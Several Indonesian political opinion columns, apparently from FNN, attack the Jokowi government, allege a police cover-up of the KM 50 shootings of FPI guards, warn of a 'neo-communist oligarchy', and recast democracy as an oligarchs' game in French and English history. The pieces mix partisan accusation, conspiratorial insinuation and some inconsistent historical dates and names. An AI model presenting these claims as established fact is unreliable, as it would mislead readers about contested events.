by Tamsil Linrung Jakarta, FNN - Indonesia terasa semakin asing, semakin jauh dari bangsa yang selama ini kita kenal. Hari-hari kita belakangan ini selalu diusik oleh isu yang tidak begitu penting. Kalau bukan radikalisme, ya sentimen agama. Kalau bukan sentimen agama, ya perbedaan ras. Tiba-tiba saja kita seperti bangsa baru yang masih harus belajar bertoleransi dan memahami perbedaan, sesuatu yang sesungguhnya jauh hari telah tuntas. Belum selesai masalah yang satu, muncul lagi masalah lainnya. Belum usai kasus radikalisme yang berujung mutasi di PT. Pelni, muncul lagi penistaan agama oleh Jozeph Paul Zhang. Padahal, sejumlah kasus penistaan agama yang lalu-lalu, belum juga terselesaikan meski sejak dini telah dilaporkan ke polisi. Kerukunan beragama dan berwarganegara terancam dan menggerogoti kohesivitas sosial. Semakin menjadi-jadi ketika pemerintah tak jarang ceroboh mengambil langkah. Kementerian Pendidikan dan Kebudayaan, misalnya, baru-baru ini menerbitkan Kamus Sejarah Indonesia. Peristiwa itu memantik kegaduhan karena buku tersebut tidak memuat nama Pendiri Nahdatul Ulama KH. Hasyim Asy'ari. Sebaliknya, yang muncul malah sejumlah nama pengurus Partai Komunis Indonesia. Meski Kemendikbud mengaku alpa, namun beberapa pihak menduga tindakan itu adalah sebuah kesengajaan. Indonesia adalah bangsa yang besar. Tetapi terlihat begitu kerdil karena persoalan yang membelitnya didominasi masalah sektarian. Soal-soal seperti ini sejatinya hanya menjauhkan kita dari persoalan utama bangsa, yakni penegakan hukum, korupsi yang merajalela, dan ekonomi yang terpuruk di tengah hutang yang menumpuk. Berjarak Dengan Rakyat Semakin hari, pemerintah tampak semakin berjarak dengan rakyatnya. Itu terlihat dari seringnya pejabat bersilang pendapat dengan rakyat dalam memahami realitas. Rakyat merasakan kehidupan ekonomi sedang sulit, sementara Presiden Jokowi memprediksi pemulihan ekonomi nasional akan mendorong Indonesia menjadi negara maju di tahun ini. Rakyat merasa cemas dengan jumlah hutang luar negeri, tetapi hutang terus digenjot tanpa diimbangi upaya kreatif mendongkrak perekonomian negara secara signifikan. Pemerintah seperti punya pikirannya sendiri tanpa mau tahu pikiran rakyat. Jarak pikiran itu semakin menganga lebar ketika kebijakan negara acap kali bersifat paradoks. Saat pemerintah melarang rakyatnya mudik lebaran, di saat bersamaan pemerintah malah mengampanyekan pariwisata. Padahal dua giat ini sama-sama berpotensi menyebarkan virus Covid-19. Saat Presiden menyerukan agar rakyat membenci produk Asing, pemerintah justru ketagihan mengimpornya. Begitu pula saat negara melarang rakyat berkerumun, Presiden malah menciptakan kerumunan di Nusa Tenggara Timur, tempo hari. Saat pernikahan rakyat dihentikan aparat, eh, tahu-tahu Presiden beserta Menteri Pertahanan malah menghadiri pernikahan artis. Terlalu banyak kebijakan dan tindakan paradoksial untuk disebut satu per satu. Intinya, kita menjadi bingung, standar peraturan apa yang dipakai pemerintah sehingga di satu sisi rakyat dilarang, tetapi di sisi lain pemerintah melakoni sendiri larangan tersebut. Alhasil, aturan seolah-olah hanya berlaku bagi rakyat, namun tidak bagi pejabat negara. Sifat paradoksial juga terlihat dalam menentukan fokus dan skala prioritas pembangunan. Pemerintah begitu ngotot memindahkan Ibukota negara, seolah kita berlebihan anggaran. Sementara untuk mengupgrade alat pertahanan negara yang mahapenting saja, pemerintah terlihat sangat kekurangan anggaran. Peralatan TNI banyak yang usang dan lapuk termakan usia. Dalam tiga tahun ini saja, ada tiga kecelakaan kapal milik TNI. Teranyar dan masih dalam investigasi adalah tenggelamnya Kapal Selam KRI Nanggala 402. Jadi, urusan skala prioritas pembangunan juga menjadi pertanyaan. Tidak heran, berbagai penilaian miring membuncah menyambut satu tahun pemerintahan Joko Widodo – Ma'ruf Amin, tahun lalu. Sejumlah pihak bahkan menilai pemerintahan Jokowi gagal, khususnya dalam hal pemulihan ekonomi nasional. Penilaian miring tersebut juga dipicu oleh banyaknya kebijakan pemerintah yang seringkali kontroversial sehingga memantik penolakan masyarakat. Lekat dalam ingatan demonstrasi pasca pengesahan Omnibus Law UU Cipta Kerja. Begitu pula dengan perumusan UU Haluan Ideologi Pancasila dan perubahan UU KPK. Perubahan ini bahkan membawa sejarah baru dalam pemerintahan Jokowi ketika KPK untuk pertama kalinya mengeluarkan SP3 terhadap buron kasus korupsi Sjamsul Nursalim. Sementara itu, kaum intelektual yang diharapkan kritis serta menjembatani jarak antara rakyat dengan pemerintah, malah justru cenderung menghamba pada penguasa dan birokrasi. Penilaian ini datang justru dari kalangan intelektual sendiri, sebagaimana diutarakan Guru Besar Universitas Indonesia Prof. Dr. Sulistyowati Irianto. Padahal, kaum intelektual adalah harapan terbesar rakyat agar tetap menjunjung tinggi keilmuannya, bermartabat, dan selalu tajam menganalisis persoalan bangsa. Namun apa daya, bahkan curriculum vitae lamaran menjadi menteri dari seorang profesor sebuah universitas terkemuka pun, sarat diisi perjuangan membela Jokowi di media sosial. Disaat bersamaan, tokoh-tokoh oposisi dipreteli satu persatu. Sejumlah aktivis diterungku dengan dalih hukum yang mengundang pertanyaan di sana-sini. Selebihnya, nyali mereka yang masih bebas dibuat ciut atau setidaknya super hati-hati menjaga lisan. Rasanya, kehidupan demokrasi mulai terancam. Mendorong Rekonsiliasi Sudah pasti kita tidak membenci pemerintah. Kita tidak menginginkan pemerintahan Jokowi jatuh dan terjerembab di tengah jalan. Tetapi, itu tidak berarti membiarkan pemerintah berjalan sendiri, menjauh, dan semakin berjarak dengan rakyatnya. Pemerintah harus dikawal agar tetap menahkodai biduk bangsa dengan arah yang jelas, dan tidak melampaui kodrat konstitusi. Cukup dua periode namun hasilnya maksimal. Jarak yang semakin melebar antara pemerintah dan rakyatnya menurut beberapa pakar disebabkan oleh proses komunikasi yang tersumbat antara lingkaran inti presiden dengan dinamika sosial-politik di tengah masyarakat. Pendapat ini misalnya pernah dilontarkan oleh pakar kebijakan publik yang juga dosen Ilmu Politik dan International Studies Universitas Paramadina Ahmad Khoirul Umam. Kita tentu sepakat, fenomena itu tidak boleh terus berlanjut. Harus ada upaya memecah kebuntuan agar rakyat dan pemerintah saling mengisi, menciptakan energi untuk terus menggali terobosan baru demi kemaslahatan dan pembangunan bangsa. Menjadi kewajiban kita semualah mendorong titik temu yang baik. Masih tersisa lebih dari tiga tahun nikmat kekuasaan di periode kedua Jokowi ini. Saya kira, itu adalah waktu yang cukup buat bagi pemerintah dan seluruh stakeholders bangsa untuk menggenjot kinerjanya guna menambal semua bolong-bolong pencapaian pembangunan. Dalam semangat itu pula kami menggagas pertemuan sejumlah tokoh perekat bangsa di Sekolah Insan Cendekia Madani (ICM), Tangerang, sekaligus berbuka puasa bersama. Kami berharap, pertemuan yang direncanakan terlaksana pada 7 Mei 2021 ini dapat menjadi momentum rekonsiliasi yang merelaksasi ketegangan-ketegangan politik yang selama ini mengemuka. Kami ingin para tokoh perekat bangsa yang akan hadir seperti; La Nyalla Mattalitti, Mahfud MD, Amien Rais, Rizal Ramli, Gatot Nurmantyo, Dien Syamsuddin, Anies Baswedan, Kwik Kian Gie, Abdullah Hehamahua, Bachtiar Hamzah, dan sejumlah tokoh lainnya menjadi pelopor pemersatu yang menggiring umat kembali bergandeng tangan, lintas SARA tanpa sekat pembeda. Ramadhan kali ini harus punya makna implikatif bagi jalan panjang pembangunan bangsa. Sudah terlalu sering kita mendengarkan lagu indah tentang rekonsiliasi, sebagaimana seringnya telinga menangkap petuah kebajikan Bulan Suci Ramadhan. Tapi momentum keduanya acap kali berlalu tanpa kesan mendalam dalam konteks kebangsaan. Konsep menahan diri dalam berpuasa harus dimaknai secara holistik sehingga punya pengaruh bagi kehidupan keummatan dan Keindonesiaan. Makna itu harus dimunculkan agar pemerintah tak berlebihan mengaplikasi kekuasaan. Sebaliknya, oposisi pun tidak membabi buta dalam menyampaikan kritiknya. Bertemu dan dialog adalah kunci menemukan harmoni untuk Indonesia yang lebih baik. Semoga langkah kecil ini menjadi pemantik ke arah itu. Penulis adalah Senator DPD RI

Tragedi KM 50, Laskar Ditembak dan Rekayasa Polisi

Rekayasa kasus mungkin itu yang tepat disematkan dalam pengusutan pembunuhan laskar itu. Padahal, peristiwa itu menyangkut nyawa manusia yang dihukum tanpa proses pengadilan. Polisi telah menetapkan tiga orang polisi menjadi tersangka, yaitu F, Y dan EPZ atau Elwira Priyadi Zendrato, dan tidak ada yang ditahan. by Mangarahon Dongoran Jakarta FNN, Hari ini, tepat.lima bulan yang lalu, enam laskar yang mengawal Imam Besar Front Pembela Islam (FPI) Habib Rizieq Shihab tewas ditembak polisi. Peristiwa yang lebih dikenal dengan Tragedi KM 50, Jalan Tol Jakarta-Cikampek terjadi pada Senin, 7 Desember 2020 dinihari sekitar pukul 00.30. Peristiwanya sangat tragis. Sebab, tubuh keenam laskar yang tewas itu tidak hanya ditembus peluru tajam. Akan tetapi, ditemukan juga sejumlah luka yang diduga bekas penyiksaan sebelum ditembak, atau bisa juga penyiksaan setelah ditembak oleh anggota.Kepolisian Daerah (Polda) Metro Jaya. Enam laskar yang tewas ditembak dari jarak dekat itu adalah Muhammad Reza, Lutfi Hakim, M.Suci Khadafi, Ahmad Sofiyan, Faiz Ahmad Syukur dan Andi Oktaviana. Peristiwa penembakan itu penuh tanda tanya dan misteri. Sebab, sebelum subuh.pada hari.kejadian, telah beredar kabar di media sosial, terutama WhatsApp (WA) yang mengabarkan enam laskar FPI hilang diculik orang tidak dikenal. Mereka adalah bagian dari pengawal HRS yang berjumlah 10 orang, 4 orang lagi di mobil yang berbeda. Mereka mengawal iring-iringan mobil yang ditumpangi HRS, istri, anak, menantu dan cucu menuju pengajian keluarga inti di daerah Karawang, Jawa Barat. Akan tetapi, Senin, 7 Desember 2020 siang, Kepala Kepolisian Daerah Metro Jaya, Fadil Imran menggelar jumpa pers dan mengumumkan anggotanyalah yang menembak laskar tersebut. Dengan gagahnya, ia menjelaskan penembakan dilakukan secara tegas dan terukur, karena pengawal HRS melawan petugas. Sejumlah barang bukti pun dipamerkan, termasuk senjata api yang katanya digunakan laskar. Akan tetapi, Sekretaris Umum FPI, Munarman saat itu membantah pengawal membawa senjata. Senjata tajam.pun tidak, apalagi senjata api (walaupun disebut senjata api rakitan). Nah, keterangan pihak kepolisian juga berbeda-beda (tidak jelas apakah karena skenario rekayasanya yang salah). Tidak lama kemudian, pihak kepolisian menyebut laskar mau merampas senjata api petugas yang membawa mereka dengan mobil dari KM 50. Kok ada usaha merampas senjata dari orang yang sudah dilumpuhkan? Kalaupun itu terjadi, kenapa polisi tidak memborgol atau mengikat tangan/kaki laskar itu? Tidak ada alasan bagi polisi yang bertugas melakukan pengintaian dan pengejaran tanpa membawa borgol dan pistol. Polisi bodohlah yang tidak membawa senjata api dan borgol jika ditugaskan untuk menguntit sesuatu yang dianggap kejahatan atau bermasalah. Keterangan Fadil Imran juga bertolak belakang dengan rekonstruksi yang dilakukan polisi. Dalam rekonstruksi, terlihat (dalam foto yang beredar), laskar itu disuruh jongkok dan tiarap sebelum masuk ke mobil yang membawa mereka. Pertanyaannya, apakah benar laskar itu ditembak di dalam mobil yang membawa mereka atau dieksekusi di suatu tempat? Banyak yang percaya keenam laskar itu dieksekusi di sebuah tempat (rumah?). Kalau ditembak di dalam mobil, berarti mobil akan menjadi barang bukti di persidangan pengadilan. Sampai sekarang, masyarakat yang awam hukum sekali pun menertawakan keterangan yang disampaikan polisi. Apalagi menyangkut mobil Land Cruiser hitam yang muncul di KM 50, tetapi tidak diperlihatkan pada saat rekonstruksi. Sampai sekarang keberadaan mobil dan penumpangnya masih misteri. Banyak dugaan rekayasa di kasus tewasnya laskar tersebut. Selain CCTV jalan tol mati (dimatikan?), rest area atau tempat peristirahatan KM 50 tidak lama kemudian ditutup. Para.pedagang disuruh pindah. Setelah pindah, bangunan yang ada dibongkar setahap demi setahap, dan akhirnya rata dengan tanah. Kenapa harus dibongkar? Apa salah rest area KM 50 tersebut? Takut dijadikan saksi? Toh, polisi kan bisa saja merekayasa kasusnya. Walaupun bangunannya sudah tidak ada, tetapi rest area tersebut akan tetap menjadi saksi bisu di dunia, dan menjadi salah satu yang akan mengeluarkan kesaksian di hadapan Allah Subhanahu wata'ala, Tuhan Yang Maha Esa, kelak. Rekayasa kasus mungkin itu yang tepat disematkan dalam pengusutan pembunuhan laskar tersebut. Padahal, peristiwa itu menyangkut nyawa manusia yang dihukum tanpa proses pengadilan. Peristiwa tersebut adalah tragedi kemanusiaan. Polisi telah menetapkan tiga orang polisi nenjadi tersangka, yaitu F, Y dan EPZ atau Elwira Priyadi Zendrato. Sebelumnya, polisi juga sempat menetapkan enam laskar yang sudah meninggal dunia menjadi tersangka. Hal itu menjadi bahan lelucon dan tertawaan masyarakat, termasuk orang gila. Penetapan tersangka terhadap orang yang sudah tewas adalah aneh, dan baru pertama kali terjadi di dunia, meskipun polisi buru-buru mencabutnya. Kasus Elwira Priyadi Zendrato, ditutup karena yang bersangkutan mati dalam peristiwa kecelakaan lalulintas di wilayah Tangerang Selatan, Provinsi Banten. Peristiwa kecelakaan yang menyebabkan ia mati terjadi tanggal 3 Januari 2021, tetapi baru diumumkan Jumat, 26 Maret 2021. Wah hebat sekali polisi kita, karena hampir tiga bulan baru diumumkan? Lokasi kecelakaannya pun tidak jelas, karena nama jalan yang disebut polisi, tidak sesuai di lapangan. Jangan-jangan, dua polisi yang menjadi tersangka dan masih hidup, nanti diumumkan mati kena Coronavirus Disease 2019 (Covid-19). Bisa juga diumumkan mati karena kelelap saat berenang di kolam renang, sungai, danau dan laut antah-berantah. Nah, F dan Y sampai kini tidak ditahan. Berkas kasusnya sudah dilimpahkan ke Kejaksaan Agung, tetapi dikembalikan lagi ke polisi. Lucu juga ya, tersangka F dan Y tidak ditahan. Padahal, ancaman yang dituduhkan adalah Pasal 338 KUHP juncto Pasal 56 KUHP. Hukumannya maksimal 15 tahun penjara. Jangankan ditahan, dinonaktifkan pun tidak. Keduanya masih ke kantor, dan bebas berkeliaran. Pasal 338 berbunyi, "Barang siapa dengan sengaja merampas nyawa orang lain, diancam karena pembunuhan dengan pidana penjara paling lama lima belas tahun." Padahal, biasanya polisi langsung menahan tersangka yang tuduhan pidananya lima tahun. Bahkan, tuduhan penjara di bawah lima tahun pun banyak yang langsung dipenjara polisi. Wahai polisiku? Berbuat adillah kalian. Jangan terlalu sering merekayasa kasus. Apalagi, kasus penembakan enam laskar ini menjadi sorotan pemerhati Hak Azasi Manusia (HAM) dunia, meskipun Komnas HAM menyematkannya bukan pelanggaran HAM berat, tetapi dugaan unlawful killing. ** Penulis adalah Pemimpin Redaksi FNN.co.id.

Menuju Wawasan Kebangsatan

by Asyari Usman Medan, FNN - Apakah ada typo di judul tulisan ini? Tidak, sama sekali. Kita memang sedang membahas diksi baru, yaitu Wawasan Kebangsatan (Wangsat) sebagai lawan dari Wawasan Kebangsaan (Wangsa). Wawasan Kebangsaan lebih-kurang maksudnya adalah konsepsi tentang kehidupan kebangsaan yang diisi dengan nilai-nilai mulia. Bisa juga disebut cara pandang yang berintikan pemahaman tentang kebangsaan. Fokus dari Wangsa adalah pengamalan Pancasila yang diharapkan akan menghasilkan manusia-manusia yang pro-tauhid (ketuhanan yang maha esa). Manusia yang pro-keadilan, pro-kerakyatan, pro-pemberatasan korupsi, pro-lingkungan hidup, dlsb. Selanjutnya, apa itu Wawasan Kebangsatan? Tidak lain adalah konsepsi tentang penegakan nilai-nilai kebangsatan. Intinya adalah pengamalan cara-cara bangsat dalam proses kehidupan. Terutama kehidupan publik dan pengelolaan negara. Artinya, Wawasan Kebangsatan adalah dasar filosofis untuk menciptakan manusia-manusia bangsat. Semakin bangsat seseorang, semakin tinggi nilainya di mata elit bangsat. Wawasan Kebangsatan diproyeksikan akan menggeser Wawasan Kebangsaan yang selama ini mendominasi percakapan nasional Indonesia. Para pengelola negara yang ada saat ini kelihatannya ingin agar Wawasan Kebangsatan bisa secepatnya menggantikan Wawasan Kebangsaan. Nah, bagaimana cara agar Wangsat bisa menyingkirkan Wangsa? Akselerasi penerapan nilai-nilai kebangsatan sedang dipromosikan melalui semua mesin transformasi yang tersedia. Elit bangsat telah memikirkan itu. Dan sudah pula menyiapkan thesis yang akan menjadi panduan untuk menciptakan seorang yang sempurna dalam kebangsatan. Salah satu instrument yang paling efektif untuk mensosialisasikan Wangsat adalah tes untuk mengetahui seluas dan sedalam apa Wawasan Kebangsatan seseorang. Salah satu lembaga penting musuh korupsi baru-baru ini melaksanakan tes kebangsatan terhadap para pegawainya. Dari 1,300-an lebih staf yang dites, 75 orang dinyatakan gugur. Mereka tidak memiliki pemikiran bangsat. Mereka terlalu keras dalam berpancasila. Terlalu teguh dalam berkeadilan. Terlalu ‘radikal’ melawan korupsi. Sedangkan yang lainnya, di luar 75 orang itu, dianggap bisa dibina dalam koridor kebangsatan. Karena tidak lulus tes, 75 orang yang tidak bisa diarahkan menjadi para bangsat itu akan dikeluarkan alias dipecat dari lembaga penting dimaksud. Lembaga ini sedang ditransformasikan oleh para elit bangsat untuk menjadi proyek percontohan (pilot project) menuju Wawasan Kebangsatan.[] Penulis adalah Wartawan Senior FNN.co.id.

Pernawirawan TNI Resah, Indonesia Darurat Korupsi & Komunis

by M. Rizal Fadillah Bandung FNN - Dua fenomena menarik yang terjadi di Indonesia saat ini. Pertama bangkitnya para Guru Besar dalam menyoroti negara Indonesia yang berada dalam bahaya korupsi. Terjadi darurat korupsi. Lebih dari 50 Guru Besar dari berbagai Perguruan Tinggi mengajukan gugatan ke Mahkamah Konstitusi (MK) atas UU Komisi Pemberantasan Korupsi (KPK). Mereka Para Guru Besar tersebut menilai UUK KPK hasil revisi DPR dan Pemerintah telah melumpuhkan KPK dalam fungsi dan tugas-tugas pemberantasan Korupsi. Di antara Guru Besar ada nama Azyumardi Azra, Emil Salim, Frans Magnis Suseno, Ramlan Surbakti dan lain-lainnya. Kedua, muncul gerakan dari para purnawirawan TNI AD melalui pernyataan keprihatinan bahwa negara berada dalam bahaya cengkeraman “Oligarki Neo Komunis”. Pernyataan 2 Mei 2021 tersebut dibuat oleh Mayjen TNI (Purn.) Deddy S Budiman, Letjen TNI (Purn.) Yayat Sudrajat, Mayjen TNI (Purn.) Robby Win Kadir, Brigjen TNI (Purn.) Budi Sudjana, dan lainnya. Oligarki Neo Komunis yang kerjanya mengadu-domba dan memfitnah umat Islam dan TNI, termasuk dengan mengkriminalisasi Habib Rizieq Shihab (HRS) dan Front Pembela Islam (FPI). Sedangkan soal korupsi memang sudah berat diatasi, menggurita dan terang benderang. Pemerintah tidak serius untuk memberantasnya bahkan KPK pun telah dihancurkan peran dan independensinya. Wajar saja jika para Guru Besar berteriak walaupun sudah terlambat. Para mahasiswa dulu telah "berdarah-darah" memprotes penghancuran KPK ini. Lucunya kini Menkpolhukam Mahhfud MD minta permakluman pada status Pemerintahan yang memang Korup. Minta masyarakat memaklumi saja prilaku korupsi yang dilakukan pemerintah. Penangananan korupsi Jiwasraya, Asabri dan BPJS Tenaga Kerja merayap menuju menguap. Korupsi dana Bantuan Sosial (Bansos) Juliari Peter Batubara yang diduga melibatkan "madam" masih dibawa berputar-putar tidak jelas ujungnya. Keluhan Mensos Risma tentang 21 Juta data ganda, membuat geleng-geleng kepala. Syamsul Nursalim buron malah diberikan SP3 oleh KPK. Top markotop. Sepertinya pada setiap investasi dan hutang luar negeri melekat prilaku korupsi. Dampaknya seruan ayo berinvestasi sama saja dengan ayo korupsi. Akibatnya, sejumlah negara faksi Amerika Seruikat menunda pinjaman bilateral. Mereka adalah Australia, Jepang, Korea Selatan, Jerman dan Saudi arabia. Investasi juga semakin selut masuk ke Indonesia. Kenyataan ini dikeluhkan oleh Menteri Keuangan Sri Mulyani. Soal Neo Komunis yang diprihatinkan para Purnawirawan TNI itu, memang semakin menyengat baunya. Terasa hampir pada semua lini penyelenggaran negara. Saat petinggi PKI akan kabur dan bergerak masing-masing, lalu mereka berkomitmen untuk berjuang "tanpa bentuk". Nampaknya komitmen itu semakin terealisasi kini. Kini mulai menyusup, mempengaruhi dan mengendalikan. Prakteknya pelan-pelan mulai tampak. Dimulai sejak Rancangan Undang-Undang Haluan Idelogi Pancasila (RUU HIP). Road map pendidikan nasional tanpa mata pelajaran Agama. Keluarnya Peraturan Pemerintah (PP) Nomor 57 tahun 2021 tentang Standar Nasional Pendidikan yang menghilangkan mata kuliah Pancasila dan Bahasa Indonesia. Ini jangan dianggap biasa-biasa saja. Agenda senyap ini semakin memperlihatkan batang hidungnya dengan penunjukkan Hilmar Farid, mantan aktivis Partai Rakyat Demokrat (PRD) sebagai Dirjen Kebudayaan Kementerian Pendidikan Nasional. Wajar saja kalau publik khawatir arah negara ini menuju revolusi kebudayaan yang melumpuhkan agama. Maka Purnawirawan TNI AD menyebut ini bahaya Oligarkhi Neo Komunis. Memang para pemimpin negara harus diingatkan. Tetapi apa yang diungkapkan Prof. Dr. Ayzyumardi Azra cukup menarik, yaitu pesimistik. Sudah sulit untuk mendengar kebenaran mengema lagi di jagad Sabang sampai Merauke, dan dari Pulau Nias sampai Miangas. Seraya mengutip atau merujuk pada Ayat Al Qur'an bahwa telinga, mata, dan hati mereka telah tertutup. "Allah akan isi Neraka Jahanam bagi banyak Manusia dan Jin. Mereka memiliki hati tetapi tidak dipergunakan untuk memahami, mereka memiliki mata tetapi tidak digunakan untuk melihat, mereka memiliki telinga tetapi tidak dipergunakan untuk mendemgar" ( QS Al A'raf 179). Allah SWT memperumpamakan mereka sebagai binatang ternak, bahkan lebih rendah dari itu. "Ulaa-ika kal an'am bal hum adlol, ulaa-ika humul ghafiluun". Artinya, mereka itu seperti binatang ternak, bahkan lebih rendah dari itu, mereka adalah orang-orang yang lalai.. Penulis adalah Pemerhati Politik dan Kebangsaan.

Produksi Demokrasi dan Hukum Itu Mainan Oligarki (Bagian-1)

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN- Demokrasi dan rule of law, untuk alasan praktis, merupakan dua konsep yang teramat ganjil disepanjang sejarah. Keduanya pada level itu, justru malah saling menyangkal pada sejumlah aspek. Bukan disebabkan keduanya tidak memiliki bentuk final secara materil, tetapi ada soal lain yang gagal dikenali. Sehingga orang-orang bodoh berlomba memuja keduanya sebagai barang hebat. Michael Carigan, kolumnis kawakan yang pernah menulis The History of Death, Who Lies Were: A Guid To Famous and the Mediterranean, yang disiarkan secara serial di BBC mengidentifikasi serangkaian penyebabnya. Selalu dimana pun dalam dunia demokrasi, dulu dan sekarang, ada saja sekelompok orang yang diistimewakan. Merekalah pendefenisi sebenarnya demokrasi dan rule of law. Orang-Orang Siluman ​Menunjuk demokrasi sebagai faktor determinan hadirnya hukum yang baik, jelas itu bodoh, tolol dungu, dan dongo. Tidak ada sejarahnya itu. Yang disajikan sejarah, hukum diperlukan oleh semua bentuk negara, juga sistem dan bentuk pemerintahan. ​Tidak ada penguasa durjana, otoriter, facis, totaliter dan demokratis, yang tidak menggunakan hukum. Tidak ada itu. Jangan tolol untuk itu. Justru sebaliknya, sejarah cukup jelas menunjukan semua penguasa durjana dan demokratis menyodorkan dan menggunakan hukum untuk berbagai kepentingan. ​Demokrasi memang memukau. Konsep-konsep dasarnya tentang manusia jelas mengagumkan. Manusia itu merdeka sedari lahir. Inilah mahkota manusia. Mahkota ditransiformasi dalam konsep kebebasan alamiah, khususnya kebebasan berpikir dan menyatakan akal pikiran, serta memiliki harta benda. ​Inilah yang memukau dan mendekorasi serangkaian sebab yang menghasilkan revolusi Perancis tahun 1789 lalu. Sejarawan Andre Hussely, di satu sisi dan James Harvely Robinson dan Charles A. Beard di sisi lain, melukiskan keadaan itu dengan sangat menarik. ​Prancis, khususnya Paris kala itu, diidentifikasi Andrew sebagai kota yang gelap dan terang datang secara bergantian. Bagai angin puyuh. Tanpa sebab jelas, keadaan bisa seketika berubah menjadi huru-hara. Ada begitu banyak gerakan bawah tanah dan terlalu banyak sekte di Paris ketika itu. Andrew menunjukan itu sebagai ikon lain Paris kala itu. Mereka yang kaya dan miskin memperlihatkan tingkah laku yang satu dan lainnya kontras dalam semua aspeknya. Seperti biasa, kenyataan itu menyiskan duka dan luka di hati untuk kalangan tak punya. Eksplosif, karena kenyataan itu bertemu dengan kenyataan lain, yang mengerikan. Kenyataan lain itu, kelak menjadi sebab langsung muncul revolusi berdarah-darah 1789, karena kerajaan telah terlilit inflasi ganas. Kas deficit. Mau apa? Mau Pinjam? Pinjam Kemana? Italia tidak mau kasih pinjaman. Begitu juga dengan Inggris. Mau apa tuan raja? Ralp H. Epperson, sejarahwan top ini mengidentifikasi keadaan itu sebagai prakondisi yang diciptakan secara sistimatis oleh sekelompok kecil orang untuk memanggil datangnya revolusi. Revolusi itu tidak hanya untuk mengubah Kota Paris, tetapi Prancis secara keseluruhan. Andrew Hussey, memang tak menunjuk secara defenitif kelompok Fremansory berada dibalik kekacauan itu. Tetapi Andrew mengidentifikasi antara tahun 1700-1750 terdapat lebih dari selusin sekte di Prancis. Mereka dikenal sangat radikal. Mereka pernah memberontak. Tetapi apapun itu, sesuatu yang tidak bisa ditolak adalah apa yang identifikasi oleh James Harvey Robinson dan Charles A. Beard. Kerajaan, dalam identifikasi kedua sejarahwan ini, telah berada dalam pelukan inflasi yang kronis dan ganas. Semua aspek yang mendatangkan uang telah deficit. Raja, seperti semua rezim sesudahnya yang terlilit infasi ganas, menyodorkan pemecahan klasik. Raja menginstruksikan “ciptakan dua jenis pajak baru, dan naikan pajak konvensional”. Tragis. Kala raja mengumumkan rencana itu, Estate General (Dewan Kerajaan), khususnya dari kalangan strata ketiga (third estate), menolak. Roberspierre wakil utama third estate ini berada di garda terdepan melakukan penolakan. Dia malah menuntut penyamaan status antara mereka dengan clergy dan nobility dalam estate general itu. Gumpalan awan perlawanan terus membesar. Marrat, seorang ilmuan kawakan kala itu muncul dengan sebuah publikasi. Kata-kata extravaganza. Dia beri judul artikelnya “The Frined of the People”. Marrat, sang ilmuan ini mengulas “aristocrat and bourgeoise” meliputi para kelas pekerja terbesar dan petani. Apapun itu, Andrew menemukan kenyataan lain. Ibu-ibu, katanya yang sudah tidak lagi memiliki bahan makanan untuk dimakan. Orang-orang lalu ini berbaris penuh amarah menuju dan menyerbu penjara Bastiles. Ini pemicu kongkrit revolusi merobohkan kerajaan. Roberspierre, salah satu republikan radikal segera memegang kekuasaan. Roberspierre menggariskan Prancis baru harus dibangun diatas prinsip liberte, egalite dan fraternite. Prinsip itu direalisasikan dengan tangan besi, menandai pemerintahan terror Roberspierre yang hanya sebentar. Berbaris ditengan prinsip itu, Roberspierre memberi status nobles kepada imigran dari Hunggaria dan Jerman. Menariknya, Roberspierre diidentifikasi Rapl H. Epperson sebagai orang suruhan kelompok perencana yang tak terlihat dalam revolusi itu. Menariknya, Roberspierre segera dihabisi. Tragis. Begitulah jalan awal demokrasi di Prancis. Jalan itu mirip dengan jalan awal demokrasi di Inggris, yang dipicu oleh revolusi gemilangnya pada tahun 1688. Omong Kosong Itu Prancis tahu apa yang Inggris dendangkan tentang hukum ditengah gelora demokrasi. Tak lama setelah Inggris melembagakan demokrasi, setidaknya membatasi kekuasaan Raja disatu sisi, dan disisi lain memperluas kekuasaan parlemen. Bahkan parlemen dijadikan supreme, para borjuis yang tidak lain adalah financial oligarki licik, picik, tamak dan rakus yang segera berpesta. Prinsip tahta suci dan hak suci raja yang dicanangkan secara berani oleh Raja James I tahun 1626, tergulung dan tersapu oleh dahsyatnya revolusi. Raja tak lagi berada di atas hukum. Raja telah tak lagi berstatus “king as a state”. Prinsip ini telah berganti menjadi “law as a supreme in the Land of England”. Segera terlihat tabiat bawaan revolusi dan demokrasi. Orang miskin segera berpesta dengan kebebasan baru. Orang kaya lalu mendekorasi tatanan baru itu. Tujuannya untuk konsolidasi kepentingan bisnis mereka. Apa yang segera orang-orang bisnis ini lakukan? Tahu kerajaan telah kehabisan sumberdaya, para financial oligarki Inggris kala itu, dengan kemurahan hatinya mendatangi kerajaan. Mereka hendak meminjamkan uang kepada kerajaan. Disertai syarat tertentu. Syaratnya harus ada otorisasi parlemen. Cerdas mereka. Sebab kepada parlemen mereka juga mengajukan syarat lain. Apa syaratnya? Buatkan UU yang memungkinkan mereka dapat menampung uang dari bea shipment. Penampungan ini mau tak mau, harus diletakan dibank. Itulah inti Duane Act 1694. Canggih cara main finalicial oligarki. Mereka tidak minta buat UU tentang Bank Bank, yang kelak menjadi cikal bakal Bank of England. Tetapi hanya minta beri wewenang menampung uang mereka. Itu saja. Suka atau tidak, kerajaan dan parlemen telah berada dalam kekangan mereka. Inggris memberi pelajaran hebat untuk oligarki-oligarki Prancis. Antara tahun 1696-1698, para produsen kain wol dari East Anglia dan West Country bersekutu dengan para pengrajin sutra dari London, Carterbury dan sebuah perusahaan bernama Levant Company mencari siasat untuk menyingkirkan sutra Asia. Apa yang mereka lakukan untuk menggolkannya? Koalisi para produsen tekstil ini mengusulkan sejumlah RUU ke meja Parlemen. Isi RUU itu antara lain melarang warga Negara Inggris memakai busana dari bahan katun dan sutra Asia. Sukses, tahun 1701 Parlemen menggolkan RUU itu menjadi UU. Menurut Daron Acemoglu dan James A. Robinson dalam buku “Mengapa Negara Gagal” sejak bulan September 1791 Parlemen Inggris mengumumkan UU yang menguntungkan koalisi ini. Isi ketentuan itu adalah semua kain sutra palsu, kain Bengal, dan sejenisnya yang dicampur bahan sutra asli atau herba, yang dibuat di Persia, China dan India Timur, semua jenis kain balacu, yang diwarnai, dicelup atau dicetak di negara itu dan diimpor ke wilayah Inggris, menjadi terlarang. Ruang ini terlau sempit untuk mengetengahkan semua praktik hukum Inggris yang menguntungkan kaum kaya, sebelum Prancis mulai menata hukum sebagai tuntutan langsung revolusi mereka. Tetapi semua yang terjadi di Inggris telah cukup memberitahu Prancis bahwa hukum di tengah demokrasi memang diperuntukan, terutama untuk kaum yang istimewa 